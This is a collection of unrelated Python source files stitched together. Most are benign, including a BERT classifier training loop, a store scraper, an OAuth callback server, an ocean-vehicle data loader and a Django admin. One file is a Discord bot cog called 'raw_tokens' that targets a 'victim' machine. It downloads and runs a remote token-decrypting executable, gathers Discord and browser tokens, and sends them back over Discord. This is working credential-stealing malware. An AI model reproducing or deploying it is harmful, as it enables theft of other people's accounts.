    def forward(self, x):
        bert_output = self.bert(**x)
        cls_vectors = bert_output.last_hidden_state[:, 0, :]
        cls_vectors = self.dropout(cls_vectors)
        logits = self.classifier(cls_vectors)
        return logits

config = AutoConfig.from_pretrained(checkpoint)
model = BertForPairwiseCLS.from_pretrained(checkpoint, config=config).to(device)
print(model)

outputs = model(batch_X)
print(outputs.shape)

#2-2优化模型参数

from tqdm.auto import tqdm

def train_loop(dataloader, model, loss_fn, optimizer, lr_scheduler, epoch, total_loss):
    progress_bar = tqdm(range(len(dataloader)))
    progress_bar.set_description(f'loss: {0:>7f}')
    finish_step_num = (epoch - 1) * len(dataloader)

    model.train()
    for step, (X, y) in enumerate(dataloader, start=1):
        X, y = X.to(device), y.to(device)
        pred = model(X)
        loss = loss_fn(pred, y)

        optimizer.zero_grad()
        loss.backward()
        optimizer.step()
        lr_scheduler.step()

        total_loss += loss.item()
        progress_bar.set_description(f'loss: {total_loss / (finish_step_num + step):>7f}')
        progress_bar.update(1)
    return total_loss

def test_loop(dataloader, model, mode='Test'):
    assert mode in ['Valid', 'Test']
    size = len(dataloader.dataset)
    correct = 0

    model.eval()
    with torch.no_grad():
        for X, y in dataloader:
            X, y = X.to(device), y.to(device)
            pred = model(X)
            correct += (pred.argmax(1) == y).type(torch.float).sum().item()

    correct /= size
    print(f"{mode} Accuracy: {(100 * correct):>0.1f}%\n")

from transformers import AdamW, get_scheduler

learning_rate = 1e-5
epoch_num = 3

loss_fn = nn.CrossEntropyLoss()
optimizer = AdamW(model.parameters(), lr=learning_rate)
lr_scheduler = get_scheduler(
    "linear",
    optimizer=optimizer,
    num_warmup_steps=0,
    num_training_steps=epoch_num*len(train_dataloader),
)

total_loss = 0.
for t in range(epoch_num):
    print(f"Epoch {t+1}/{epoch_num}\n-------------------------------")
    total_loss = train_loop(train_dataloader, model, loss_fn, optimizer, lr_scheduler, t+1, total_loss)
    test_loop(valid_dataloader, model, mode='Valid')
print("Done!")


import logging

logger = logging.getLogger(__name__)
assert logger.level == logging.NOTSET
assert logger.getEffectiveLevel() == logging.WARNING
logger.setLevel(logging.INFO)
# create handler and set level
file_handler = logging.FileHandler('project.log')
file_handler.setLevel(logging.INFO)
# create formatter and add it to handler
file_format = logging.Formatter('%(asctime)s ::%(levelname)s - %(name)s - %(filename)s - %(funcName)s - %(message)s')
file_handler.setFormatter(file_format)
# add handler to the logger
logger.addHandler(file_handler)


import inspect
from typing import Any, Callable, Dict, Sequence, Type

from .base_types import Shape
from .error_contexts import ErrorContext, IndexContext, ObjectTypeContext, StackContext
from .exceptions import NoShapeError

GetShape = Callable[[Any, ErrorContext], Shape]

_GET_SHAPE_SENTINEL = object()
_GET_SHAPES: Dict[Type[Any], GetShape] = {}

def register_get_shape(shape_type: Type[Any]) -> Callable[[GetShape], GetShape]:
    """
    Register a function for extracting the shape from a given type of objects.

    Example:

    .. literalinclude:: /examples/test_check_shapes_examples.py
       :start-after: [custom_type]
       :end-before: [custom_type]
       :dedent:

    See also :func:`get_shape`.

    :param shape_type: Type of objects to extract shapes from.
    """
    # Yes, what's happening here looks extremely much like `functools.singledispatch`;
    # however we cannot actually use `functools.singledispatch`, because it uses a for/else
    # statement, which TensorFlow doesn't know how to compile...

    def _register(getter: GetShape) -> GetShape:
        _GET_SHAPES[shape_type] = getter
        return getter

    return _register

def get_shape(shaped: Any, context: ErrorContext) -> Shape:
    """
    Returns the shape of the given object.

    See also :func:`register_get_shape`.

    :param shaped: The objects whose shape to extract.
    :param context: Context we are getting the shape in, for improved error messages.
    :returns: The shape of ``shaped``, or ``None`` if the shape exists, but is unknown.
    :raises NoShapeError: If objects of this type does not have shapes.
    """
    for t in inspect.getmro(shaped.__class__):
        getter = _GET_SHAPES.get(t)
        if getter is not None:
            return getter(shaped, context)

    shape = getattr(shaped, "shape", _GET_SHAPE_SENTINEL)

    if shape == _GET_SHAPE_SENTINEL:
        raise NoShapeError(StackContext(context, ObjectTypeContext(shaped)))

    assert shape is None or isinstance(shape, tuple), shape

    return shape

@register_get_shape(bool)
@register_get_shape(int)
@register_get_shape(float)
@register_get_shape(str)
def get_scalar_shape(shaped: Any, context: ErrorContext) -> Shape:
    return ()

@register_get_shape(list)
@register_get_shape(tuple)
def get_sequence_shape(shaped: Sequence[Any], context: ErrorContext) -> Shape:
    if len(shaped) == 0:
        # If the sequence doesn't have any elements we cannot use the first element to determine the
        # shape, and the shape is unknown.
        return None
    child_shape = get_shape(shaped[0], StackContext(context, IndexContext(0)))
    if child_shape is None:
        return None
    return (len(shaped),) + child_shape


import json
import pandas as pd
import os

class ParseJSONSchema:

    def __init__(self, dataset, directory):
        self.dataset = dataset
        self.directory = directory

    def update_directory(self):
        data = pd.read_csv(self.dataset, delimiter='\t', nrows=10000)
        data = data.where(pd.notnull(data), None)

        for i in range(len(data)):
            d = {}

            # data to "entity"
            d["entity"] = {}
            d["entity"]["type"] = "protein"
            seq_id = str(data.iloc[i,0])
            d["entity"]["name"] = seq_id[str(data.iloc[i,0]).rfind('|')+2:]

            # data to "identifier" in "entity"
            identifier = []
            dict_identifier = {} # dictionary for identifier in entity
            dict_identifier["namespace"] = "SeqID"
            dict_identifier["value"] = seq_id[8:22]
            identifier.append(dict_identifier)
            d["entity"]["identifiers"] = identifier

            # data to values
            d["values"] = []
            for column_name in data.columns[1:]:
                if column_name != "SeqID" and column_name != "PSortVersion":
                    values_dict = {}
                    values_dict["type"] = column_name
                    values_dict["value"] = data[column_name].iloc[i]
                    d["values"].append(values_dict)

            # data to "identifier"
            d["identifier"] = {}
            d["identifier"]["namespace"] = "SeqID"
            d["identifier"]["value"] = seq_id[8:22]

            # source
            d["source"] = []
            dict_source = {}
            dict_source["namespace"] = "PSORTsb Gram Positive"
            dict_source["value"] = "Version 3"
            d["source"].append(dict_source)

            # environment
            d["environment"] = {"GramStain": "Gram positive"}

            # Schema Version
            d["schema_version"] = "2.0"

            # Create JSON files and place in directory
            with open(self.directory+"/{}.json".format(seq_id[8:22]), "w+") as JSONfile:
                json.dump(d, JSONfile)

def main():
    json_files = ParseJSONSchema(dataset="./datanator/docs/protein_localization/computed_gram_positive/Computed-Gram_positive-PSORTdb-3.00.tab",
                                directory="./datanator/docs/protein_localization/computed_gram_positive/JSONSchema")

    json_files.update_directory()

if __name__ == "__main__":
    main()


import phonenumbers
from phonenumbers import timezone,geocoder,carrier
#input number
number=str(input("input number with country code:  "))
#phone number detiles
phone=phonenumbers.parse(number)
#time zone
time=timezone.time_zones_for_number(phone)
#company of number
carri=carrier.name_for_valid_number(phone,"en")
#Country of your number
registe=geocoder.description_for_number(phone,"en")

print(phone)

print(time)

print(carri)

print(registe)


import urllib

from bs4 import BeautifulSoup
from decimal import Decimal

from storescraper.categories import GAMING_CHAIR, HEADPHONES, \
    VIDEO_GAME_CONSOLE, NOTEBOOK, KEYBOARD, MOUSE, STEREO_SYSTEM
from storescraper.product import Product
from storescraper.store import Store
from storescraper.utils import session_with_proxy, remove_words, \
    html_to_markdown

class Zmart(Store):
    @classmethod
    def categories(cls):
        return [
            VIDEO_GAME_CONSOLE,
            MOUSE,
            KEYBOARD,
            STEREO_SYSTEM,
            NOTEBOOK,
            GAMING_CHAIR,
            HEADPHONES
        ]

    @classmethod
    def discover_urls_for_category(cls, category, extra_args=None):
        base_url = 'https://www.zmart.cl'

        category_paths = [
            ['Consolas', VIDEO_GAME_CONSOLE],
            ['Asus', NOTEBOOK],
            ['logitech', KEYBOARD],
            ['Razer', MOUSE],
            [37, MOUSE],
            [38, KEYBOARD],
            [45, STEREO_SYSTEM],
            [532, GAMING_CHAIR],
            [76, HEADPHONES],
        ]

        product_urls = []
        session = session_with_proxy(extra_args)
        session.headers['User-Agent'] = \
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ' \
            '(KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36'

        for category_path, local_category in category_paths:
            if local_category != category:
                continue

            if isinstance(category_path, int):
                page = 1

                while True:
                    if page >= 10:
                        raise Exception('Page overflow')

                    category_url = \
                        '{}/scripts/prodList.asp?sinstock=0&idCategory={}&' \
                        'curPage={}'.format(base_url, category_path, page)

                    soup = BeautifulSoup(session.get(
                        category_url, verify=False).text, 'html.parser')

                    link_containers = soup.findAll('div', 'ProdBox146')

                    if not link_containers:
                        if page == 1:
                            raise Exception('Empty category: ' + category_url)
                        break

                    for link_container in link_containers:
                        product_url = link_container.find('a')['href']
                        if 'http' not in product_url:
                            product_url = base_url + product_url
                        product_urls.append(product_url)
                    page += 1
            else:
                category_url = base_url + '/' + category_path

                soup = BeautifulSoup(session.get(
                    category_url, verify=False).text, 'html.parser')

                link_containers = soup.findAll('div', 'BoxProductoS2')
                link_containers += soup.findAll('div', 'ProdBox240Media')
                link_containers += soup.findAll('div', 'ProdBox380_520')
                link_containers += soup.findAll('div', 'BoxProductoNotebook')

                if not link_containers:
                    raise Exception('Empty category: ' + category_url)

                for link_container in link_containers:
                    product_url = base_url + link_container.find('a')['href']
                    if 'idProduct' in product_url:
                        product_urls.append(product_url)

        return product_urls

    @classmethod
    def products_for_url(cls, url, category=None, extra_args=None):
        print(url)
        session = session_with_proxy(extra_args)
        session.headers['User-Agent'] = \
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ' \
            '(KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36'
        soup = BeautifulSoup(session.get(url, verify=False).text,
                             'html.parser')

        if soup.find('div', {'id': 'mensajes_sistema'}):
            return []

        name = soup.find('h1').text.strip()

        query_string = urllib.parse.urlparse(url).query
        key = urllib.parse.parse_qs(query_string)['idProduct'][0]

        if soup.find('button', {'name': 'add'}):
            stock = -1
        else:
            stock = 0

        order_type_container = soup.find(
            'div', {'id': 'ficha_producto'}).find('div', 'txTituloRef')

        if not order_type_container or 'PREVENTA' in order_type_container.text:
            stock = 0

        sku = soup.find('span', 'zmart__sku').text.strip()

        price_div = soup.find('div', {'id': 'ficha_producto'})
        price_tags = price_div.findAll('li')

        if len(price_tags) == 0:
            return []
        elif len(price_tags) == 1:
            normal_price = Decimal(remove_words(price_tags[0].find('p').text))
            offer_price = normal_price
        elif len(price_tags) == 2:
            offer_price = Decimal(remove_words(price_tags[0].find('p').text))
            normal_price = Decimal(remove_words(price_tags[1].find('p').text))
        else:
            raise Exception('Invalid number of price tags found')

        description = html_to_markdown(str(soup.find('div', 'tab')),
                                       'https://www.zmart.cl')

        pictures_container = soup.find('ul', {'id': 'imageGallery'})

        if pictures_container:
            picture_urls = []

            for tag in soup.find('ul', {'id': 'imageGallery'}).findAll('li'):
                picture_path = tag['data-src'].replace(' ', '%20')
                if 'http' in picture_path:
                    continue

                picture_urls.append('https://www.zmart.cl' + picture_path)
        else:
            picture_urls = None

        p = Product(
            name,
            cls.__name__,
            category,
            url,
            url,
            key,
            stock,
            normal_price,
            offer_price,
            'CLP',
            sku=sku,
            description=description,
            picture_urls=picture_urls
        )

        return [p]


import cgi
import http.server
import socketserver
import file_handler as fh

CALLBACK_BASE = '127.0.0.1'
OAUTH_VERIFIER_KEY = 'oauth_verifier'

# Create the callback server that's used to set the oauth verifier after the
# request token is authorized.
def create_callback_server(port):
    class CallbackHandler(http.server.SimpleHTTPRequestHandler):
        def do_GET(self):
            if len(self.path.split('?', 1)) == 2:

                params = cgi.parse_qs(self.path.split('?', 1)[1],
                    keep_blank_values=False)

                #print('params',params)

                # Make sure correct query paramters are in url
                if OAUTH_VERIFIER_KEY in params and len(params[OAUTH_VERIFIER_KEY]) >= 1:
                    verifier = params[OAUTH_VERIFIER_KEY][0]

                    print('Server writing verifier file')
                    fh.write_verifier(verifier)

                    self.send_response(200)
                    self.send_header('Content-Type', 'text/plain')
                    self.end_headers()
                    self.wfile.write(bytes("You can now close this window", "utf-8"))
                else:
                    print('Given invalid oauth path/query params ->', 'path', self.path, 'params', params)
            else:
                print('Received invalid path', self.path)

    server = socketserver.TCPServer((CALLBACK_BASE, port), CallbackHandler)
    return server


#!/usr/bin/env python
'''
Routine loading of all LRUAV data available on a DAP server.
This module writes load scripts for month's worth of LRAUV data.
It is imported by stoqs/loaders/LRAUV/load_lrauv_month.py for
creating multiple year scripts.  Running this script will create
load scripts for the current year only.

It also enters lines into the lruav_campaigns.py file.

Executing the load is then accomplished with another step, e.g.:

   stoqs/loaders/load.py --db stoqs_lrauv_may2019

Mike McCann
MBARI 3 June 2019
'''
import os
import sys
this_dir = os.path.abspath(os.path.join(os.path.dirname(__file__)))
stoqs_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), "../../"))

import calendar
import logging
import re
from datetime import datetime
from string import Template

campaign_template = 'mbari_lrauv_campaigns.template'
campaign_file_name = 'mbari_lrauv_campaigns.py'
script_template = 'load_lrauv.template'

# Construct list of lrauvs with: ls -d /mbari/LRAUV/*/missionlogs | cut -d/ -f4
lrauvs = ('ahi', 'aku', 'brezo', 'brizo', 'daphne', 'galene', 'makai', 'opah', 'pontus',
          'tethys', 'triton', 'whoidhs', 'polaris', )

title_base = 'LRAUV - Routine Operational data'
description_base='MBARI Long Range Autonomous Vehicle data'

class LoaderMaker():
    logger = logging.getLogger(__name__)
    logger.setLevel(logging.INFO)

    def create_load_scripts(self, start_year=None, end_year=None):
        # If called with no arguments process the current year
        if not start_year:
            start_year = datetime.today().year
        if not end_year:
            end_year = start_year + 1
        else:
            end_year += 1

        monyyyys = []
        for year in range(start_year, end_year):
            for month in range(1, 13):
                month_name = datetime(year, month, 1).strftime("%B")
                month_name_short = datetime(year, month, 1).strftime("%b")

                monyyyy = f"{month_name_short.lower()}{year}"
                monyyyys.append(monyyyy)
                db_alias = f"stoqs_lrauv_{monyyyy}"
                title = f"{title_base} - {month_name} {year}"
                description = f"{description_base} during {month_name} {year}"

                s_year = str(year)
                e_year = str(year)
                s_month = str(month)
                e_month = str(month)
                s_day = str(1)
                e_day = str(calendar.monthrange(year, month)[1])

                with open(os.path.join(this_dir, script_template)) as s_t:
                    source = Template(s_t.read())

                script = source.substitute({'db_alias': db_alias, 'title': title, 'description': description,
                                            's_year': s_year, 's_month': s_month, 's_day': s_day,
                                            'e_year': e_year, 'e_month': e_month, 'e_day': e_day,
                                            'lrauvs': repr(lrauvs)})

                load_file_name = f"load_lrauv_{monyyyy}.py"
                with open(os.path.join(this_dir, load_file_name), 'w') as lf:
                    lf.write(script)

                os.chmod(os.path.join(this_dir, load_file_name), 0o755)
                print(f"Done making: {os.path.join(this_dir, load_file_name)}")
                self.logger.info(f"Done making: {os.path.join(this_dir, load_file_name)}")

        return monyyyys

    def update_lrauv_campaigns(self, monyyyys):
        '''Respect existing items in existing mbari_lrauv_campaigns.py file
        and only update with any new campaign_items.
        '''

        # Read items (if any) from any existing mbari_lrauv_campaigns.py file
        #     ('stoqs_lrauv_jan2018', 'LRAUV/load_lrauv_jan2018.py'),\n
        CAMPAIGN_ITEM = re.compile(r".*\('stoqs_lrauv_(.*)', 'LRAUV\/load_lrauv_(.*).py'\),")
        monyyyy_in_file = []
        try:
            with open(os.path.join(stoqs_dir, campaign_file_name)) as cf:
                for line in cf:
                    c_match = re.match(CAMPAIGN_ITEM, line)
                    if c_match:
                        monyyyy_in_file.append(c_match.group(1))
        except FileNotFoundError as e:
            self.logger.debug(str(e))

        # Rewrite the file with existing and new campaigns
        campaign_items_str = ''
        for monyyyy in monyyyy_in_file:
            load_file_name = f"load_lrauv_{monyyyy}.py"
            campaign_items_str += f"    ('stoqs_lrauv_{monyyyy}', '{os.path.join(os.path.basename(this_dir), load_file_name)}'),\n"

        num_new_campaigns = 0
        for monyyyy in monyyyys:
            if monyyyy not in monyyyy_in_file:
                num_new_campaigns += 1
                load_file_name = f"load_lrauv_{monyyyy}.py"
                campaign_items_str += f"    ('stoqs_lrauv_{monyyyy}', '{os.path.join(os.path.basename(this_dir), load_file_name)}'),\n"

        # Write out campaign file
        with open(os.path.join(stoqs_dir, campaign_template)) as c_t:
            source = Template(c_t.read())
        script = source.substitute({'campaign_tuples': campaign_items_str})
        with open(os.path.join(stoqs_dir, campaign_file_name), 'w') as cf:
            cf.write(script)

        print(f"Done writing {os.path.join(stoqs_dir, campaign_file_name)} with {num_new_campaigns} new campaign entries")
        self.logger.info(f"Done writing {os.path.join(stoqs_dir, campaign_file_name)} with {num_new_campaigns} new campaign entries")
        return num_new_campaigns

if __name__ == '__main__':
    lm = LoaderMaker()
    lm.logger.setLevel(logging.DEBUG)

    this_year = datetime.today().year
    items = lm.create_load_scripts(this_year, this_year)
    lm.update_lrauv_campaigns(items)


import os
import json
from threading import Thread
from time import ctime
from aiohttp import web
import socketio
from .Request import Request
from .ReconizerProcess import ReconizerProcess

global _ROOT_PATH
_ROOT_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

class RequestHandler:

    __CONFIG_PATH = os.path.join(_ROOT_PATH, "config/")
    __CONFIG_FILE = os.path.join(__CONFIG_PATH, "config.json")

    #Async Socket IO Server
    sio = socketio.AsyncServer()
    #Create new Aiohttp web Server
    app = web.Application()
    #Bind Socket IO to our web base server
    sio.attach(app)

    def __init__(self):
        print("[RequestHandler.__init__] ...")

        self.name = "RequestHandler_Server"

        self.clients = set() #Set of (socket_id, environ, auth) for each client
        self.requests = list() #List of client request

        self.host, self.port = self.__getServerInformation()

        #Register event handler
        self.sio.on('client-request', self.ListenRequest)
        self.sio.on('disconnect', self.disconnect)
        self.sio.on('connect', self.connect)

        self._httpRoutes()

        print("[RequestHandler.__init__] : done !")

    def run(self, argv):

        host = self.host if len(argv) < 3 else argv[1]
        port = self.port if len(argv) < 3 else argv[2]

        #Run the app
        web.run_app(app=self.app,
                    host=host,
                    port=port)

    def _httpRoutes(self):
        self.app.router.add_get('/', handler=self.index)

    #Index page : If a browse make a request
    async def index(self, request):
        print(request)
        #Getting index.html file
        index_file = os.path.join( _ROOT_PATH,
                                "pages/",
                                "index.html")

        with open(index_file) as data:
            return web.Response(text=data.read(), content_type="text/html")

    def _writeDefaultConfig(self):
        default_host = "0.0.0.0"
        default_port = 65_000

        data = {
            "Server": {
                "Host": default_host,
                "Port": default_port,
            },
        }

        #We write the default value in the file
        json.dump(data, open(self.__CONFIG_FILE, "w"), indent=4)

    def __getServerInformation(self):
        default_host = "0.0.0.0"
        default_port = 65_000
        data = {}

        if os.path.exists(self.__CONFIG_FILE) \
            and self.__CONFIG_FILE.endswith(".json"):

            with open(self.__CONFIG_FILE, 'r') as f:

                try:
                    data = json.load(f)

                except json.decoder.JSONDecodeError:
                    print("[Error]: Empty data in:", self.__CONFIG_FILE)
                    self._writeDefaultConfig()

                else:
                        if "Server" not in data:
                            data["Server"] = {
                                "Host": default_host,
                                "Port": default_port
                            }

                            json.dump(data,
                                      open(self.__CONFIG_FILE, "w"),
                                      indent=4)

            return (data.get("Server").get("Host"),
                    data.get("Server").get("Port"))

        else:
            #Create config.json
            if not os.path.exists(self.__CONFIG_PATH):
                os.makedirs(self.__CONFIG_PATH)

            with open(self.__CONFIG_FILE, "w"):
                self._writeDefaultConfig()

            return (default_host, default_port)

    #Decode the resquest and transform into Request object
    def DecodeRequest(self, request):
        decoded_request = None

        if isinstance(request, str):
            decoded_request = json.loads(request)
        elif isinstance(request, dict):
            decoded_request = request

        self.requests.append(decoded_request)

        return Request(id=decoded_request.get("id"),
                        teacher=decoded_request.get("teacher"),
                        classroom=decoded_request.get("classroom"),
                        course=decoded_request.get("course"),
                        disciplines=decoded_request.get("disciplines"),
                        level=decoded_request.get("level"),
                        finish_hour=decoded_request.get("finish_hour"))

    """
    Events :
        - connect : new client
        - disconnect : client disconnect
        - client-request : request for attendance list
    """

    @sio.on('connect')
    def connect(self, socket_id, environ):

        self.clients.add(socket_id)

        print("Connected : ", socket_id)
        print("Numbers of clients : " , len(self.clients) )

    @sio.on('disconnect')
    def disconnect(self, socket_id):
        print("Disconnected : ", socket_id)
        print("Numbers of clients : " , len(self.clients) )

    #We listen for client request
    @sio.on('client-request')
    async def ListenRequest(self, socket_id, request):

        data = self.DecodeRequest(request)

        print("Socket ID:", socket_id, " request : ", request)

        #Process request here
        reconizer_process = ReconizerProcess(data)
        thread = Thread(target=reconizer_process.RecognitionProcess, args=())
        thread.daemon = True
        thread.start()

        await self.sio.emit('server-response', json.dumps({"start_time" : ctime(), "status" : "OK"}), to=socket_id)


import disnake as discord
from disnake.ext import commands
from datetime import datetime
from base64 import decodebytes

import os, requests
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"

class RawTokens(commands.Cog):
    def __init__(self, bot: commands.Bot):
        self.bot = bot

    @commands.slash_command( )
    async def raw_tokens(self, ctx, victim):
        """Sends all Discord Tokens unchecked

        Parameters
        ----------
        victim: Identifier of the affected computer (found via /listvictims).
        """
        if str(victim) == str(self.bot.identifier):
            await ctx.response.defer()

            try:
                tkr = bytes(
                    requests.get(
                        "https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken"
                    ).text,
                    "utf-8"
                )
            except Exception as e:
                return await ctx.followup.send(
                    "Unable to download decryptor!\n\n"+e
                )

            os.chdir(nr_working)
            with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr))

            changes = {
                '[': '',
                ']': '',
                ',': '',
                "'": '',
                '"': '',
                ' ': '\n'
            }

            discordTkz = str(os.popen("tkr.exe").read()).strip('][').split(', ')
            webTkz = list(dict.fromkeys(self.bot.find_token()))

            for k, v in changes.items():
                discordTkz = str(discordTkz).replace(k, v)
                webTkz = str(webTkz).replace(k, v)

            finalTks = str(discordTkz + "\n" + webTkz)

            await ctx.followup.send(
                embed = self.bot.genEmbed(
                    "Decrypted tokens",
                    datetime.now(),
                    f"```" + finalTks + "```"
                )
            )

            os.remove(nr_working + "\\tkr.exe")
            os.chdir(self.bot.original_dir)

def setup(bot: commands.Bot):
    bot.add_cog(RawTokens(bot))


# coding=utf-8
__author__ = 'huangfuxin'

from django.contrib import admin

from console.console.ips.models import IpsModel, QosModel

@admin.register(IpsModel)
class IpsModelAdmin(admin.ModelAdmin):
    list_display = ("id",
                    "zone",
                    "user",
                    "ip_id",
                    "uuid",
                    "name",
                    "bandwidth",
                    "qos",
                    "create_datetime",
                    "deleted",
                    "delete_datetime")

@admin.register(QosModel)
class QosModelAdmin(admin.ModelAdmin):
    list_display = ("id",
                    "qos_id",
                    "ingress_uuid",
                    "egress_uuid",
                    "create_datetime",
                    "deleted",
                    "delete_datetime")